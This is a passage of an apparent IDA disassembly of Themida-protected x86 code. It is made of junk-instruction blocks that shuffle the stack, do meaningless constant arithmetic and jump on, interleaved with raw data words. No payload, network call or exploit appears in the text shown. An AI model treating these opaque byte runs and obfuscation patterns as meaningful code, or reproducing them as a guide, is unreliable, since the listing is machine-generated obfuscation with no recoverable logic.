		pop	ecx
		sub	ebp, edi
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		shl	ebp, 8
		sub	ebp, 1
		add	ebp, 0F8898581h
		sub	esp, 4
		mov	[esp], edi
		jmp	loc_54F8DF
; ---------------------------------------------------------------------------


loc_549E31:				; CODE XREF: Themida_:005461B6j
		pop	edx
		mov	ecx, [esp]
		add	esp, 4
		push	dword ptr [esp]
		pop	ebx
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		jmp	loc_5519A6
; ---------------------------------------------------------------------------
		dd 0E9240C8Bh, 0CBA8h, 0C5A93BAh, 2A0B682Eh, 14890000h
		dd 2414F724h, 0DEE2815Ah, 0C11F924Eh, 0E2D105E2h, 0ED04C281h
		dd 0D3019B7Eh, 4DEBE9h,	4C48100h, 52000000h, 0C281E289h
		dd 4, 4EA81h, 14870000h, 547E924h, 0E6C10000h, 0B9514606h
		dd 241F2BADh, 0C181D1F7h, 0D91FD02Bh, 5885E9h, 148B6600h
		dd 2C48324h, 7EF0E9h, 68EB8100h, 55769B08h, 2562B9BDh
		dd 248BE92Bh, 77B30000h, 0B61CB353h, 0DE68041h,	8081CE80h
		dd 0C680B7EEh, 50E6806Dh, 8EEE80h, 51665BDEh, 0CE0058B1h
		dd 0C6805966h, 51DE2869h, 7DB05052h, 48BC288h, 4C48324h
		dd 808FB753h, 0E7805ECFh, 0FCF3E990h, 0E181FFFFh, 1BFA2546h
		dd 30A4E181h, 93E91448h, 3300005Ch, 248B2404h, 187DE924h
		dd 0C4830000h, 1FBC2504h, 57406970h, 5DBFE9h, 81DD0100h
		dd 0E10110EDh, 31FAE943h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_549F4E:				; CODE XREF: Themida_:00555432j
		mov	edx, 1A4069D2h
		mov	esi, 380CB8B8h
		add	esi, edx
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_54E215
; ---------------------------------------------------------------------------
		db 1, 0C6h, 8Bh
		dd 63E92404h, 83FFFFDDh, 36E904C4h
		db 0Ah,	2 dup(0)
; ---------------------------------------------------------------------------


loc_549F77:				; CODE XREF: Themida_:00544D37j
		mov	ecx, eax
		jmp	loc_543FAA
; ---------------------------------------------------------------------------
		dw 0D629h
		dd 0C1E9F289h, 52FFFFB9h, 0C281E289h, 4, 8704C283h, 535C2414h
		dd 241C8B54h, 4C481h, 0E9560000h, 0AE90h, 7C3F8A2Dh, 14F70553h
		dd 55A439Eh, 3D597A0Ch,	0C3236C2Dh, 0E9D8290Dh,	0FFFFA7A8h
		dd 4D3D5BBBh, 22E9565Ah, 5AFFFFB2h, 2699E9h, 8732E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_549FDA:				; CODE XREF: Themida_:00553D2Aj
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		jmp	loc_545AB5
; ---------------------------------------------------------------------------
		dd 0B9h, 91E98100h, 2942AB05h, 91C181D1h, 8942AB05h, 0F28159CAh
		dd 0AF1D9978h, 0FBE9D001h, 4700006Eh, 384068h, 24148900h
		dd 4C6FB951h, 5BBA2B01h, 81E952F2h, 0BA36E2C2h,	0E9CA0123h
		dd 0AC37h
; ---------------------------------------------------------------------------


loc_54A030:				; CODE XREF: Themida_:0054B8ADj
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		push	ebx
		push	ebp
		mov	ebp, esp
		jmp	loc_550E1D
; ---------------------------------------------------------------------------
		dw 0C15Fh
		dd 0EF8104E7h, 60EF5FFEh, 815FFD89h, 0AE59B6EAh, 0E9EA2976h
		dd 5EFFh, 4B951h, 0CB290000h, 241C3359h, 33241C31h, 0E95C241Ch
		dd 4F0Dh
; ---------------------------------------------------------------------------


loc_54A078:				; CODE XREF: Themida_:00555BA6j
		mov	ah, 93h
		mov	bh, 0C6h
		xor	bh, ah
		mov	eax, [esp]
		add	esp, 4
		xor	al, bh
		jmp	loc_54909D
; ---------------------------------------------------------------------------
		db 68h
		dd 22B1h, 24048F54h, 4EC81h, 3C890000h,	4BF24h,	7C010000h
		dd 3C8B0424h, 0F382E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54A0AE:				; CODE XREF: Themida_:00548B37j
		pop	eax
		add	dh, 0F6h
		push	ecx
		mov	cl, 0C6h
		jmp	loc_546610
; ---------------------------------------------------------------------------
		dw 0C781h
		dd 49F93515h, 0FFB926E9h, 60BFBFFFh, 81471ECCh,	0D706EBC7h
		dd 0CBB5352h, 0C12A8370h, 814B05EBh, 6227C2E3h,	8AF38137h
		dd 2979C848h, 0C7815BDFh, 113AF3BDh, 45DBC781h,	0F7814A70h
		dd 54C6557Fh, 3C8BF889h, 18DFE924h, 23BB0000h, 816C2C30h
		dd 94213FE3h, 536FE948h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54A116:				; CODE XREF: Themida_:005521F2j
		push	dword ptr [esp+4]
		pop	edx
		pop	dword ptr [esp]
		jmp	loc_5547FA
; ---------------------------------------------------------------------------
		db 83h
		dd 0BF5704C4h, 4, 3C8BF901h, 4C48324h, 0FFD97DE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54A139:				; CODE XREF: Themida_:00543F22j
		xor	ebx, edx
		jmp	loc_5431F5
; ---------------------------------------------------------------------------
		dd 5513EBEh, 0F7DEF757h, 5AE94ED6h, 100007Ah, 11C181E9h
		dd 8123F864h, 60CA9C1h,	59CE96Eh, 0CC800000h, 75B151A6h
		dd 0E980C9FEh, 59CC2871h, 0E906E4C0h, 0FFFFFABBh, 815F5457h
		dd 4C7h, 9FB3E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54A186:				; CODE XREF: Themida_:00548549j
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		or	eax, eax
		jz	loc_5468B0
		push	ebx
		jmp	loc_5449B3
; ---------------------------------------------------------------------------
		dw 0E089h
		dd 4BF57h, 0F8010000h, 4055Fh, 4870000h, 0BD555C24h, 521C767Dh
		dd 0F581E5D1h, 0B5FE9764h, 34FFEB29h, 0E9575D24h, 4ADEh
		dd 7A3468h, 242C8900h, 0BE565D54h, 4, 0FFA0E1E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54A1E1:				; CODE XREF: Themida_:00552FD8j
		sub	edi, 4
		xor	edi, [esp]
		xor	[esp], edi
		jmp	loc_555E5D
; ---------------------------------------------------------------------------


loc_54A1F2:				; CODE XREF: Themida_:00551C0Fj
		push	edi
		mov	edi, 253347B1h
		sub	edi, 574C4C31h
		inc	edi
		inc	edi
		add	edi, 7A8D40D4h
		sub	edi, 165A608Eh
		add	edi, 0CDE62438h
		push	edx
		mov	edx, edi
		mov	eax, edx
		jmp	loc_55753B
; ---------------------------------------------------------------------------


loc_54A21C:				; CODE XREF: Themida_:005457F0j
		inc	esi
		shl	esi, 5
		jmp	loc_547A95
; ---------------------------------------------------------------------------


loc_54A225:				; CODE XREF: Themida_:0054340Aj
		add	eax, 2E310F42h
		add	eax, 7C445F1Bh
		add	eax, esi
		sub	eax, 7C445F1Bh
		jmp	loc_545324
; ---------------------------------------------------------------------------
		db 1
		dd 2C875EF5h, 0E918E924h, 0E95EFFFFh, 4044h
; ---------------------------------------------------------------------------


loc_54A24C:				; CODE XREF: Themida_:005567EBj
		add	edi, ebp
		jmp	loc_5442D1
; ---------------------------------------------------------------------------
aZIsT		db '¾‡',8,1Bh,'›éºT',0
		dd 0E7814700h, 2B4412B0h, 0A335E9h, 5846B900h, 0D4E93F4Ch
		dd 81FFFFE0h, 9E042444h, 817BCD54h, 60042444h, 0E92DEC08h
		dd 6490h, 4B850h, 26E90000h
		db 0EEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54A293:				; CODE XREF: Themida_:0055593Bj
		mov	ebx, esp
		push	eax
		mov	eax, 73E60FE1h
		and	eax, 57756BC2h
		sub	eax, 63B80431h
		add	eax, 2F68467Fh
		jmp	loc_54B4F1
; ---------------------------------------------------------------------------


loc_54A2AF:				; CODE XREF: Themida_:00553EA8j
		xor	ebx, 68412C3Fh
		mov	eax, ebx
		pop	ebx
		jmp	loc_54AD74
; ---------------------------------------------------------------------------
		db 50h,	89h, 0E0h
		dd 4BE56h, 80E90000h, 810000D6h, 0BD04246Ch, 1454B3Eh
		dd 8104246Ch, 0BD042444h, 5D454B3Eh, 0E9243C29h, 0FFFFEDFBh
; ---------------------------------------------------------------------------


loc_54A2E8:				; CODE XREF: Themida_:005531A2j
		xor	edi, [esp]
		mov	esp, [esp]
		push	dword ptr [esp]
		mov	ecx, [esp]
		add	esp, 4
		push	4D92h
		mov	[esp], eax
		mov	eax, esp
		sub	esp, 4
		mov	[esp], esi
		push	esp
		pop	esi
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		mov	[esp], esi
		push	edi
		mov	edi, 720E6D9Fh
		mov	esi, 0A04EE617h
		sub	esi, 6CBD66C1h
		add	esi, edi
		add	esi, 6CBD66C1h
		jmp	loc_547B6A
; ---------------------------------------------------------------------------
aUCb		db 'U½Ú<ÒCÅÈ&',0
		db 4, 0E9h, 13h
		dd 81FFFFA8h, 5C378CC1h, 0BB535F73h, 101B3E2Ah,	0C1DAC381h
		dd 0D901EFE4h, 83241C8Bh, 2CE904C4h
		db 68h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_54A36B:				; CODE XREF: Themida_:00546C43j
		add	ebp, 0DD66B915h
		add	ebx, ebp
		pop	ebp
		sub	ebx, 698722F3h
		add	ebx, ebp
		add	ebx, 698722F3h
		sub	ebx, 331D274Ch
		jmp	loc_5435D3
; ---------------------------------------------------------------------------
		db 88h,	0DEh, 5Bh
		dd 0E902EEC0h, 0FFFFCD5Ah, 8124248Bh, 4ECh, 24348900h
		dd 2B3ABEh, 0A8B85059h,	2917FF2Ah, 0EC8158C6h, 4, 0D459E9h
		dd 0E955AD00h, 363Bh, 8CB9515Eh, 49129411h, 1E59BF57h
		dd 0C18160E4h, 665F144Eh, 79B0E981h, 0F9016C24h, 0FFD2EAE9h
		dd 0C895CFFh, 4CE95324h
		db 0A6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54A3EF:				; CODE XREF: Themida_:005574B3j
		neg	esi
		sub	esi, 0F95ED101h
		add	eax, 471A6156h
		add	eax, esi
		push	esi
		jmp	loc_546F27
; ---------------------------------------------------------------------------


loc_54A404:				; CODE XREF: Themida_:0054E9ABj
		add	esp, 4
		push	ecx
		push	ebp
		push	7AC26C6Fh
		pop	ebp
		jmp	loc_5568E7
; ---------------------------------------------------------------------------
		dd 0C681D6F7h, 58B51566h, 6634E9h, 8BEF8800h, 0E3E9240Ch
		dd 0BBFFFFA5h, 1D554561h, 0FFDE07E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54A435:				; CODE XREF: Themida_:005537C1j
		push	edi
		mov	edi, 6DFA7C9Ah
		jmp	loc_551F16
; ---------------------------------------------------------------------------
		dd 31241C33h, 30E9241Ch
		db 0ABh, 2 dup(0)
; ---------------------------------------------------------------------------


loc_54A44B:				; CODE XREF: Themida_:005531AEj
		pop	esi
		push	edx
		mov	edx, 7B86038Ch
		and	edx, 3C255F92h
		jmp	loc_544B41
; ---------------------------------------------------------------------------


loc_54A45D:				; CODE XREF: Themida_:005459E6j
		mov	edi, 35A73F57h
		shr	edi, 3
		shl	edi, 1
		push	ebp
		push	edx
		push	ecx
		mov	ecx, 573D0CB2h
		dec	ecx
		sub	ecx, 66A449Ah
		not	ecx
		xor	ecx, 9F7F4942h
		mov	edx, ecx
		mov	ecx, [esp]
		add	esp, 4
		inc	edx
		xchg	eax, edx
		neg	eax
		xchg	eax, edx
		not	edx
		sub	edx, 0F6D40222h
		mov	ebp, edx
		pop	edx
		or	edi, ebp
		pop	ebp
		push	ecx
		mov	ecx, 4603F69h
		inc	ecx
		jmp	loc_547C15
; ---------------------------------------------------------------------------


loc_54A4A8:				; CODE XREF: Themida_:00557A4Dj
		mov	edx, 1F842DF3h
		xor	[esp+4], edx
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_54EE7F
; ---------------------------------------------------------------------------
		dd 4B850h, 7EE90000h, 8BFFFF89h, 89562404h, 9284E9E6h
		dd 0CB290000h, 3972EB81h, 0E9597F57h, 0FFFFB1BDh
; ---------------------------------------------------------------------------


loc_54A4E0:				; CODE XREF: Themida_:0055241Aj
		shr	edi, 7
		sub	edi, 44431DBCh
		jmp	loc_54F5FD
; ---------------------------------------------------------------------------
		dw 0E95Ch
		dd 0FFFF8218h, 4062F281h, 0A3E957B2h
		db 0BDh, 2 dup(0)
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	631Ch
		mov	[esp], ebx
		mov	ebx, 1362054Dh
		shr	ebx, 1
		not	ebx
		inc	ebx
		inc	ebx
		dec	ebx
		sub	ebx, 0F64EFD56h
		jmp	loc_5496E8
; ---------------------------------------------------------------------------


loc_54A521:				; CODE XREF: Themida_:0054BB44j
		mov	esi, ebp
		pop	ebp
		pop	edx
		and	ebp, esi
		pop	esi
		xor	ebp, 8A2045h
		and	eax, ebp
		jmp	loc_552565
; ---------------------------------------------------------------------------
aRiS		db '¸i°>éß',0
		db 2 dup(0), 1
		dd 84C181F9h, 8B629F71h, 0E951243Ch, 486Eh, 83241C89h
		dd 50E904ECh
		db 0DDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54A55B:				; CODE XREF: Themida_:0055267Dj
		mov	ebx, 0A8552E24h
		add	ecx, ebx
		jmp	loc_551460
; ---------------------------------------------------------------------------
		db 30h
		dd 8E53E9C6h, 0F387FFFFh, 9018E9h, 0F665C00h, 9C2404B3h
		dd 0FF818BE9h, 86D3F6FFh, 8B66241Ch, 0C4832404h, 56C78602h
		dd 26F2E9h, 47F28000h, 28A9F280h, 24148BD3h, 4C481h, 8AE90000h
		dd 89000043h, 14F72404h, 7AB0E924h, 35050000h, 31FD6076h
		dd 0CD0958C1h, 0FCED8159h, 177896Fh, 242C8BE8h,	4C481h
		dd 7A680000h, 8900003Fh, 36E9241Ch, 59FFFF97h, 8324348Bh
		dd 10E904C4h, 5A000004h, 16C668h, 24348900h, 987D13BEh
		dd 40166841h, 0C890000h, 0D0BB924h, 0EC8327E7h,	24348904h
		dd 20DFB850h, 8DBE5BE8h, 299B9E76h, 0AB6EE9C6h,	0C7890000h
		dd 0FFE35DE9h, 0A1EA81FFh, 9B1F21Fh, 0BF575AD0h, 7B781358h
		dd 0DADCE947h, 0E955FFFFh, 0FFFFAAA2h
; ---------------------------------------------------------------------------


loc_54A640:				; CODE XREF: Themida_:005548DCj
		sub	ebx, 4
		jmp	loc_544D1D
; ---------------------------------------------------------------------------


loc_54A64B:				; CODE XREF: Themida_:00551F9Cj
		xor	eax, ecx
		xchg	esi, ecx
		not	esi
		jmp	loc_557630
; ---------------------------------------------------------------------------
		dw 1489h
		dd 81E28924h, 4C2h, 2C28100h, 33000000h, 14312414h, 24143324h
		dd 0FFC406E9h, 243489FFh, 0FAE9E689h, 4A0000B6h, 0CFF9F281h
		dd 0D6291A47h, 2434875Ah, 243C895Ch, 8904EC83h,	0E9552424h
		dd 0FFFFD600h, 8324148Bh, 0BCE904C4h, 5C000031h, 51240489h
		dd 10E8B850h, 0DDE96EC6h, 0E9000071h, 0FFFF8050h
; ---------------------------------------------------------------------------


loc_54A6BC:				; CODE XREF: Themida_:00552941j
		add	esp, 4
		push	dword ptr [esp]
		pop	ecx
		push	esi
		sub	esp, 4
		jmp	loc_549A17
; ---------------------------------------------------------------------------
		dd 29DFEE81h, 0C6293228h, 29DFC681h, 34FF3228h,	0C4835824h
		dd 2601E904h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54A6E6:				; CODE XREF: Themida_:00552EAEj
		push	edx
		jmp	loc_556A3C
; ---------------------------------------------------------------------------
		dd 0EB80C328h, 0F5EDE9C9h, 0C89FFFFh, 9A20E924h, 0E95DFFFFh
		dd 0AF61h, 0E924248Bh, 4CD1h, 203CC581h, 0E801DCDAh, 5C42D5Dh
		dd 815E76D8h, 2D6BA9C3h, 27E9502Bh, 5CFFFFEEh, 0FF999FE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54A72D:				; CODE XREF: Themida_:005440DFj
		mov	[esp], ebx
		mov	ebx, 67391C9Bh
		add	ebx, 31A27B77h
		or	ebx, 1F90755Ah
		jmp	loc_54EFDA
; ---------------------------------------------------------------------------
		dw 0DDF7h
		dd 520EC581h, 0EA017FEAh, 2414335Dh, 33241431h,	248B2414h
		dd 4EC8124h, 0E9000000h, 54Ah
; ---------------------------------------------------------------------------


loc_54A768:				; CODE XREF: Themida_:00550371j
		sub	bh, al
		jmp	loc_54813E
; ---------------------------------------------------------------------------
aM0HM		db '¬0Øh;M',0
		dw 8900h
		dd 0A0E9240Ch
		db 49h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_54A77F:				; CODE XREF: Themida_:00543FCAj
		pop	ecx
		push	32F3h
		mov	[esp], ebx
		mov	ebx, ebp
		mov	ecx, ebx
		mov	ebx, [esp]
		sub	esp, 4
		mov	[esp], edx
		mov	edx, esp
		push	40F5h
		jmp	loc_551E7E
; ---------------------------------------------------------------------------
		db 5Dh,	57h, 89h
		dd 685652E7h, 14D83C96h, 46D6F75Eh, 1D13BF57h, 0BDE968CDh
		db 8, 2	dup(0)
; ---------------------------------------------------------------------------


loc_54A7BB:				; CODE XREF: Themida_:00549DB4j
		push	5A46h
		mov	[esp], esi
		mov	esi, 69054448h
		sub	[esp+4], esi
		pop	esi
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		push	ebx
		mov	ebx, 4FAE744Ah
		shl	ebx, 1
		and	ebx, 5A7F765Fh
		shl	ebx, 3
		jmp	loc_550565
; ---------------------------------------------------------------------------
		db 0B8h, 2Eh, 37h
		dd 0BD551060h, 0FFFFFFFFh, 0E95DE829h, 84C7h, 0FC885051h
		dd 0C8E1E952h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54A80A:				; CODE XREF: Themida_:005505F2j
		inc	esi
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 67BC4809h
		not	eax
		sub	eax, 1C2264F2h
		inc	eax
		jmp	loc_54C96C
; ---------------------------------------------------------------------------
		db 0BBh
		dd 4, 1283E981h, 0D9011323h, 1283C181h,	835B1323h, 0C3302C1h
		dd 0CD12E924h, 92BBFFFFh, 817EB059h, 8052E4CBh,	4BEBD144h
		dd 4EC1F381h, 0D90938AEh, 4E9C15Bh, 486BD55h, 98E9297Eh
		dd 5A000012h, 4BA52h, 0A5E90000h, 59FFFF85h, 3058C688h
		dd 0F5805AF5h, 59EC88C2h, 8B66E220h, 0C4832404h, 0C0C2FE02h
		dd 0B05005E2h, 5E8C0A3h, 3084B353h, 0CAE95BD8h,	81000088h
		dd 791544C3h, 5CC3810Bh, 5D11D46Fh, 0FFB05DE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54A8B1:				; CODE XREF: Themida_:0054676Cj
		push	eax
		mov	eax, esp
		add	eax, 4
		push	edi
		mov	edi, 6CED4F40h
		neg	edi
		neg	edi
		sub	edi, 2087085Ah
		jmp	loc_54B2E9
; ---------------------------------------------------------------------------


loc_54A8CE:				; CODE XREF: Themida_:0055115Ej
		mov	ecx, esp
		jmp	loc_5534C3
; ---------------------------------------------------------------------------
		db 8Bh,	0Ch, 24h
		dd 8304C483h, 2C8904ECh, 0B1685224h, 0E93AE65Ch, 118Bh
; ---------------------------------------------------------------------------


loc_54A8EC:				; CODE XREF: Themida_:0054C46Cj
		xor	edx, [esp]
		xor	[esp], edx
		jmp	loc_54B539
; ---------------------------------------------------------------------------
		db 81h
		dd 42404h, 1C8B0000h, 89EFE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54A906:				; CODE XREF: Themida_:00542AF5j
		push	ecx
		jmp	loc_552483
; ---------------------------------------------------------------------------
		dd 9FE9D3F7h
		db 45h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_54A913:				; CODE XREF: Themida_:0055543Fj
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		push	ecx
		jmp	loc_552AE8
; ---------------------------------------------------------------------------
		dd 55240C8Bh, 0C5815D54h, 4, 459B68h, 5CE900h, 0E9530000h
		dd 0FFFFB383h
; ---------------------------------------------------------------------------


loc_54A940:				; CODE XREF: Themida_:00556C60j
		add	esi, 74EA5DA8h
		pop	edx
		add	esi, ecx
		jmp	loc_555B84
; ---------------------------------------------------------------------------
		dw 0F781h
		dd 0EE47B7A7h, 6BD0EA81h, 0FA290F61h, 0FF8A22E9h, 0C8966FFh
		dd 0B60F6624h, 9C5166C8h, 0FF7D9BE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54A971:				; CODE XREF: Themida_:00543838j
		add	edx, 3F7002EDh
		jmp	loc_54F5AF
; ---------------------------------------------------------------------------
		dd 0E95AD001h, 0FFFF8D6Ah, 4C381h, 1C870000h, 24248B24h
		dd 76A0E95Fh, 1C890000h, 4BB24h, 0A5E90000h, 89FFFFC5h
		dd 5FB62414h, 0FF9962E9h, 4EC81FFh, 89000000h, 74FF241Ch
		dd 34FF0424h, 0C4815B24h, 4, 8B24048Fh,	0FA682424h, 89000019h
		dd 0E950241Ch, 0D8Dh
; ---------------------------------------------------------------------------


loc_54A9D8:				; CODE XREF: Themida_:0054D5F3j
		sub	edx, ebx
		jmp	loc_549CCA
; ---------------------------------------------------------------------------
		db 54h
		dd 4C6815Eh, 83000000h,	343304EEh, 24343124h, 8B243433h
		dd 7DE92424h, 10000CEh,	2434FFD7h, 4C4835Ah, 4BE56h, 0F7290000h
		dd 243C335Eh, 0E9243C31h, 7EB0h
; ---------------------------------------------------------------------------


loc_54AA18:				; CODE XREF: Themida_:00551E9Ej
		add	dword ptr [esp+4], 5A4B59A8h
		pop	ebx
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_550B0D
; ---------------------------------------------------------------------------
		dd 4C4835Ah, 8B240487h,	3C892424h, 68E78924h, 2A56h, 0BB241C89h
		dd 2B0E6057h, 0BD55D3F7h, 0D4F19FA4h, 0FFE134E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54AA55:				; CODE XREF: Themida_:005465EDj
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		push	edx
		jmp	loc_5534B9
; ---------------------------------------------------------------------------
aSsU		db 'Sé¼u',0
		dd 0E9D08800h, 24D0h
; ---------------------------------------------------------------------------


loc_54AA74:				; CODE XREF: Themida_:00549C86j
		mov	[esp], esp
		push	edx
		jmp	loc_550F33
; ---------------------------------------------------------------------------


loc_54AA7D:				; CODE XREF: Themida_:0054AD6Fj
		sub	ebx, 3CBC7275h
		jmp	loc_5490C2
; ---------------------------------------------------------------------------
		dd 266668h, 24148900h, 0FF7C77E9h, 6AC181FFh, 81565345h
		dd 853876C1h, 1018123h,	8B000000h, 0C483240Ch, 3550E904h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54AAB2:				; CODE XREF: Themida_:00546CFBj
		xchg	edi, [esp]
		pop	esp
		xchg	eax, [esp]
		mov	esp, [esp]
		shr	eax, 0Eh
		xor	eax, ecx
		push	eax
		jmp	loc_54FE20
; ---------------------------------------------------------------------------
		db 50h
		dd 183F4FB8h, 8560D1Bh,	31952413h, 0CF26E9C5h, 4B9FFFFh
		dd 0E9000000h, 0FFFF868Bh
; ---------------------------------------------------------------------------


loc_54AAE4:				; CODE XREF: Themida_:00548723j
		sub	esp, 4
		mov	[esp], ebp
		jmp	loc_54789C
; ---------------------------------------------------------------------------
		db 50h
		dd 405E089h, 83000000h,	48704C0h, 24685C24h, 0E900003Eh
		dd 811Dh, 0E924048Fh, 5374h
; ---------------------------------------------------------------------------


loc_54AB10:				; CODE XREF: Themida_:00554033j
		mov	[esp], eax
		push	edx
		jmp	loc_54E8D7
; ---------------------------------------------------------------------------
		db 58h,	68h, 18h
		dd 8900006Eh, 0F6E92414h, 66FFFFEBh, 66C3BA35h,	48BC701h
		dd 0E1895124h, 4C181h, 0C1830000h, 240C8704h, 0F829665Ch
		dd 243C8B66h, 0FF925CE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54AB4D:				; CODE XREF: Themida_:00553BCBj
		xor	ecx, 10635CF7h
		jmp	loc_55468F
; ---------------------------------------------------------------------------


loc_54AB58:				; CODE XREF: Themida_:00557B44j
		xor	ebp, [esp]
		pop	esp
		mov	[esp], ecx
		jmp	loc_54270C
; ---------------------------------------------------------------------------


loc_54AB64:				; CODE XREF: Themida_:00552EE0j
		add	ebx, 3E8226EBh
		add	ebx, 750731E1h
		neg	ebx
		and	ebx, 5DA22EF4h
		jmp	loc_557457
; ---------------------------------------------------------------------------
		db 83h,	0C4h, 4
		dd 0C381EB01h, 126B5F5Ch, 83242C8Bh, 0C38104C4h, 7EEE6F32h
		dd 0CEE9C329h, 28000055h, 8B1204E8h, 8951240Ch,	4C181E1h
		dd 50000000h, 0E314FFB8h, 0C1D8F743h, 0E0C103E8h, 0B4B0E906h
		dd 0D8010000h, 42D5Bh, 4870000h, 24248B24h, 57241489h
		dd 81E68956h, 4C6h, 36116800h, 0C890000h, 4B924h, 0CE290000h
		dd 24348759h, 0C12FE9h,	81E28900h, 4C2h, 4EA8100h, 87000000h
		dd 545C2414h, 8324048Fh, 8F042404h, 4832404h, 148B0424h
		dd 9A82E924h, 8951FFFFh, 8843E9E1h, 0D3890000h,	0E9D3F75Ah
		dd 0FFFF88C3h
; ---------------------------------------------------------------------------


loc_54AC2C:				; CODE XREF: Themida_:00555355j
		mov	esi, 1D576F3Eh
		neg	esi
		and	esi, 52164897h
		sub	esi, 2E022833h
		and	esi, 52DE0B83h
		xor	esi, 2527563Dh
		add	ecx, esi
		pop	esi
		add	ecx, 0DF696A93h
		add	edi, ecx
		pop	ecx
		mov	esi, edi
		pop	edi
		jmp	loc_556FAF
; ---------------------------------------------------------------------------


loc_54AC5F:				; CODE XREF: Themida_:00555134j
		push	ebx
		mov	ebx, 62675C00h
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 18996A81h
		jmp	loc_543754
; ---------------------------------------------------------------------------
		dd 50241489h, 17C6E99Ch, 3C890000h, 1B85024h, 0E9000000h
		dd 0FFFFAF0Ah
; ---------------------------------------------------------------------------


loc_54AC90:				; CODE XREF: Themida_:00546A63j
		push	esi
		jmp	loc_55723B
; ---------------------------------------------------------------------------


loc_54AC96:				; CODE XREF: Themida_:0054C1BFj
		add	[esp+2], bl
		pop	bx
		sub	[esp], ah
		push	edx
		mov	dl, 25h
		sub	[esp+4], dl
		pop	edx
		mov	ah, [esp]
		add	esp, 2
		jmp	loc_555EBC
; ---------------------------------------------------------------------------
		dw 1C89h
		dd 0FB69E924h, 8B4FFFFh, 0E94AC480h, 53B4h, 77516859h
		dd 1C890000h, 8847E924h, 34890000h, 0E36E924h, 68560000h
		dd 4D7952BAh, 2B33E9h, 4EF8100h, 57000000h, 42474FFh, 81243C8Bh
		dd 4C4h, 24048F00h, 2434895Ch, 1464E9h,	24440100h, 348B5804h
		dd 4C48324h, 0BD10E953h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54AD16:				; CODE XREF: Themida_:0054D68Fj
		mov	ebx, [esp]
		add	esp, 4
		sub	dh, 4Eh
		jmp	loc_54FC9B
; ---------------------------------------------------------------------------
a@hs8		db '@Hé,8',0
		align 2
		dw 3C89h
		dd 0A4C5E924h, 0CD81FFFFh, 79A7481Eh, 0D30BE953h, 0C483FFFFh
		dd 4329E904h, 34FF0000h, 7B8EE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54AD52:				; CODE XREF: Themida_:005568DAj
		xor	edi, [esp]
		pop	esp
		sub	esp, 4
		jmp	loc_5527F4
; ---------------------------------------------------------------------------
		dw 8966h
		dd 0E9502414h, 5CAAh
; ---------------------------------------------------------------------------


loc_54AD68:				; CODE XREF: Themida_:0054EB06j
		pop	esp
		sub	ebx, 22407C0Bh
		jmp	loc_54AA7D
; ---------------------------------------------------------------------------


loc_54AD74:				; CODE XREF: Themida_:0054A2B8j
		shr	eax, 7
		shr	eax, 7
		add	eax, 0FFFF938Ch
		add	ebx, eax
		mov	eax, [esp]
		add	esp, 4
		push	ebx
		push	dword ptr [esp+4]
		pop	ebx
		pop	dword ptr [esp]
		pop	esp
		push	460Eh
		mov	[esp], edx
		jmp	loc_54FA10
; ---------------------------------------------------------------------------
		dw 34FFh
		dd 0C4835F24h, 5A545204h, 95DCE951h, 0CB01FFFFh, 1EB8159h
		dd 68000000h, 3CFEh, 0B8240489h, 664A28AFh, 5158C309h
		dd 5D25E9B9h, 0E9CB3122h, 73B6h
; ---------------------------------------------------------------------------


loc_54ADD4:				; CODE XREF: Themida_:00546646j
		xchg	eax, [esp]
		mov	esp, [esp]
		mov	ebx, 0DD824386h
		add	ebx, edi
		jmp	loc_551A6D
; ---------------------------------------------------------------------------
a_skk		db '_骊',0
		align 4


loc_54ADEC:				; CODE XREF: Themida_:00546A76j
		push	dword ptr [esp]
		jmp	loc_54F7CB
; ---------------------------------------------------------------------------
		dd 2474ED81h, 0CD0148C6h, 2474C581h, 0ED8148C6h, 0ACC562Fh
		dd 592434FFh, 0BFB5E951h, 34FF0000h, 24048B24h,	7FA168h
		dd 240C8900h, 711C68h, 48F5400h, 24048324h, 4B41E904h
		dd 0E9510000h, 0FFFFE3F4h
; ---------------------------------------------------------------------------


loc_54AE38:				; CODE XREF: Themida_:0054F06Ej
		mov	ecx, 26CC5145h
		jmp	loc_557910
; ---------------------------------------------------------------------------
		dw 1C8Bh
		dd 4C48324h, 1328B951h,	4C2D2476h, 0E952784Eh, 0FFFFB513h
